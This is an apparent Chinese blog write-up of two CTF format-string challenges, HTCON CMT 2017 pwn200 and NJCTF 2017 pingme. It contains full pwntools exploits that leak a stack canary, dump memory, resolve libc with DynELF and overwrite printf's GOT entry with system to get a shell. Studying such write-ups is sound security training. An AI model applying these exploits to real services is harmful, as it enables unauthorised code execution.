格式化字符串例题

HTCON CMT 2017 :pwn200

该题给出了源码

#include <stdio.h>
#include <stdlib.h>

void canary_protect_me(void) {
        system("/bin/sh");
}

int main(void) {
        setvbuf(stdout, 0LL, 2, 0LL);
        setvbuf(stdin, 0LL, 1, 0LL);
        char buf[40];
        gets(buf);
        printf(buf);           			// format string
        gets(buf);                      // buf overflow
        return 0;
}

我们一眼就可以看出格式化字符串漏洞

0x01checksec

root@ubuntu20:~/fmt# checksec pwn200
[*] '/root/fmt/pwn200'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

got表地址不变且可改

0x02伪代码

伪代码也是相当简单

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[40]; // [esp+0h] [ebp-34h] BYREF
  unsigned int v5; // [esp+28h] [ebp-Ch]
  int *v6; // [esp+2Ch] [ebp-8h]

  v6 = &argc;
  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  gets(s);
  printf(s);
  gets(s);
  return 0;
}

0x03 思路

因为gets函数,我们的思路还是栈溢出,返回到程序自带的system。

但是这里多了canary保护,需要利用格式化字符串漏洞把canary的值给泄露出来,才能顺利return

第一个gets用于泄露

第二个gets用于溢出

确定canary位置

首先找到生成canary函数的汇编代码

.text:08049245 var_C           = dword ptr -0Ch
...
...
.text:08049258 ; 7:   v5 = __readgsdword(0x14u);
.text:08049258                 sub     esp, 30h
.text:0804925B                 call    __x86_get_pc_thunk_bx
.text:08049260                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049266                 mov     eax, large gs:14h
.text:0804926C                 mov     [ebp+var_C], eax

可以看到程序会从gs:14h取值覆盖eax,再放到ebp+var_C也就是ebp-0Ch里面

image-20220320105900161

然后跳到printf,找到canary的位置

image-20220320110247444

image-20220320110338237

那么意味着,通过输入%15$p我们即可拿到canary

计算溢出偏移

image-20220320120516533

完整exp

from pwn import *
context.log_level = 'debug'
io = process("./pwn200")
io.sendline("%15$x")
canary = int(io.recv(),16)
success('canary is 0x%x' ,canary)
vul = 0x8049216
payload = 0x28*'a' + p32(canary) + 0xc*'a'+ p32(vul)
io.sendline(payload)
io.interactive()
root@ubuntu20:~/fmt# python pwn200.py
[+] Starting local process './pwn200' argv=['./pwn200'] : pid 5023
[DEBUG] Sent 0x6 bytes:
    '%15$x\n'
[DEBUG] Received 0x8 bytes:
    'b2b91d00'
[+] canary is 0xb2b91d00
[DEBUG] Sent 0x3d bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000020  61 61 61 61  61 61 61 61  00 1d b9 b2  61 61 61 61  │aaaa│aaaa│····│aaaa│
    00000030  61 61 61 61  61 61 61 61  16 92 04 08  0a           │aaaa│aaaa│····│·│
    0000003d
[*] Switching to interactive mode
$ 

NJCTF 2017 :pingme

这道题没有二进制文件,所以没有checksec、调试和反编译的步骤

在本地搭建一个题目监听

ncat -vc ./pingme -kl 127.0.0.1 4000

0x01 try

试玩一下,然后试出了猫腻

root@ubuntu20:~/fmt# nc 127.0.0.1 4000
Ping me
aaaaaa
aaaaaa
aaaaaaaa
aaaaaaaa
root@ubuntu20:~/fmt# nc 127.0.0.1 4000
Ping me
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0x40.0xffcf1cf8.0x8048638.(nil).0x1.0x1000.0x41414141.0x2e70252e.0x252e7025
AAAA%7$p
AAAA0x41414141

位置试出来了在第7个参数的位置

0x02 思路

参数位置

参数位置除了我们前面试出来的方法

还要知道另一种方法

就是使用fmtstr模块,把参数位置通过枚举的方式用脚本试出来

由于fmtstr模块是属于pwntools的一个模块,直接导入pwntools即可

from pwn import *

def exec_fmt(payload):
   p.sendline(payload)
   info = p.recv()
   return info

p = remote('127.0.0.1', '4000')
p.recvline()
auto = FmtStr(exec_fmt)
offset = auto.offset
p.close()

image-20220323201223892

dump内存

由于题目没有给出libc库和可运行文件,所以需要泄露got地址,才能进一步利用。

这里用到一个神奇操作,即是通过格式化字符串漏洞,把内存信息一个一个单元给dump下来

#coding=utf-8
from pwn import *

def dump_memory(start_addr, end_addr):
   result = ""
   while start_addr < end_addr:
      p = remote('127.0.0.1', '4000')
      p.recvline()
      # print result.encode('hex')
      payload = "%9$s.AAA" + p32(start_addr)    #  把地址放在了后面,是为了防止 printf 的 %s 被 \x00 截断 ,另外 .AAA,是作为一个标志,我们需要的内存在 .AAA 的前面,最后,偏移由 7 变为 9
      p.sendline(payload)
      data = p.recvuntil(".AAA")[:-4]
      if data == "":
         data = "\x00"
      log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
      result += data
      start_addr += len(data)
      p.close()
   return result

start_addr = 0x8048000     #在没有开启 PIE 的情况下,32 位程序从地址 0x8048000 开始,0x1000 的大小就足够了
end_addr   = 0x8049000     #在没有开启 PIE 的情况下,32 位程序从地址 0x8048000 开始,0x1000 的大小就足够了
code_bin = dump_memory(start_addr, end_addr)
with open("code.bin", "wb") as f:
    f.write(code_bin)
    f.close()

程序的的大概逻辑就是通过格式化字符串漏洞,把从0x8048000即程序的加载起始地址,到0x8049000共0x1000大小的空间(注意只在没开PIE的情况下),一个一个的dump下来(循环体的内容),之后把dump下来的数据写入到一个code.bin文件中去

现在相当于拥有一个运行态的二进制文件code.bin,尽管不是完整的

我们可以根据这个文件,把printf的got地址给拿出来

printf地址

使用命令

readelf -r code.bin | grep printf

image-20220323203753276

如此得到了printf的got地址,就是0x8049974

我们设想的通过得到真实地址再得到libc库的梦破灭了

泄露printf的真实地址

两种方法,一是常规的格式化字符串泄露,另一种是通过DynELF模块泄露

常规

from pwn import *
printf_got = 0x08049974
def get_printf_addr():
    p = remote('127.0.0.1', '4000')
    p.recvline()
    payload = "%9$s.AAA" + p32(printf_got)
    p.sendline(payload)
    data = p.recvuntil(".AAA")[:4][::-1]
    log.info("printf address: %s" % data.encode('hex'))
    return data
printf_addr = get_printf_addr()

DynELF模块

#coding=utf-8
from pwn import *
def leak(addr):
    p.recvline()
    payload = "%9$s-ABC" + p32(addr)
    p.sendline(payload)
    data = p.recvuntil("-ABC")[:-4] + '\x00'
    log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
    return data

p = remote('127.0.0.1', '4000')
dynelf = DynELF(leak, 0x08048490)	# 0x08048490为dump下来文件中main函数地址
system_addr = dynelf.lookup('system', 'libc')
printf_addr = dynelf.lookup('printf', 'libc')
log.info("system addr => %s" % hex(system_addr))
log.info("printf addr => %s" % hex(printf_addr))

把printf的got地址改为system的地址,再调用即可getshell。

print_got = 0x08049974
payload = fmtstr_payload(7, {print_got : system_addr})
p.sendline(payload)
p.recv()
p.sendline("/bin/sh")
p.interactive()

image-20220324102913528

细节:

在getshell时有个小细节应该注意一下,就是fmtstr_payload(7, {print_got : system_addr}),fmtstr模块帮我们做了什么事,这要求先要理解前面任意地址内存覆盖的知识点

[*] system addr => 0xf7d3d3d0
[*] printf addr => 0xf7d51520
[DEBUG] Sent 0x39 bytes:
    00000000  25 32 30 38  63 25 31 37  24 68 68 6e  25 33 63 25  │%208│c%17│$hhn│%3c%│
    00000010  31 38 24 68  68 6e 25 31  39 24 68 68  6e 25 33 36  │18$h│hn%1│9$hh│n%36│
    00000020  63 25 32 30  24 68 68 6e  74 99 04 08  76 99 04 08  │c%20│$hhn│t···│v···│
    00000030  75 99 04 08  77 99 04 08  0a                        │u···│w···│·│
    00000039

后面四个地址就是print_got(0x08049974) 的四个字节的地址

%208c%17$hhn %3c%18$hhn %19$hhn %36c%20$hhn

0xd0(208 ->0xd0)、0xd3(208+3 = 211 ->0xd3)、0xd3(211 ->0xd3)、0xf7(208+3+36=247 ->0xf7)

前面这四段内容与前面介绍任意地址覆盖是相似的

再通过17$、18$、19$、20$定位到最后四个地址,也即是print_got的地址,修改对应的内容为system addr

下次调用printf即为调用system。

注意:

这题最好在ubuntu18上做

在ubuntu20上运行python有报错

root@ubuntu20:~/fmt# python fmt1.py
[+] Starting local process './pingme': pid 2120
Traceback (most recent call last):
  File "fmt1.py", line 11, in <module>
    auto = FmtStr(exec_fmt)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/fmtstr.py", line 844, in __init__
    self.offset, self.padlen = self.find_offset()
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/fmtstr.py", line 863, in find_offset
    leak = self.leak_stack(off, marker)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/fmtstr.py", line 854, in leak_stack
    leak = re.findall(br"START(.*?)END", leak, re.MULTILINE | re.DOTALL)[0]
IndexError: list index out of range
[*] Stopped process './pingme' (pid 2120)

便换了一台Ubuntu 18.04的机子,问题就解决了

posted @ 2022-03-25 20:21  DAMOXILAI  阅读(157)  评论(0编辑  收藏  举报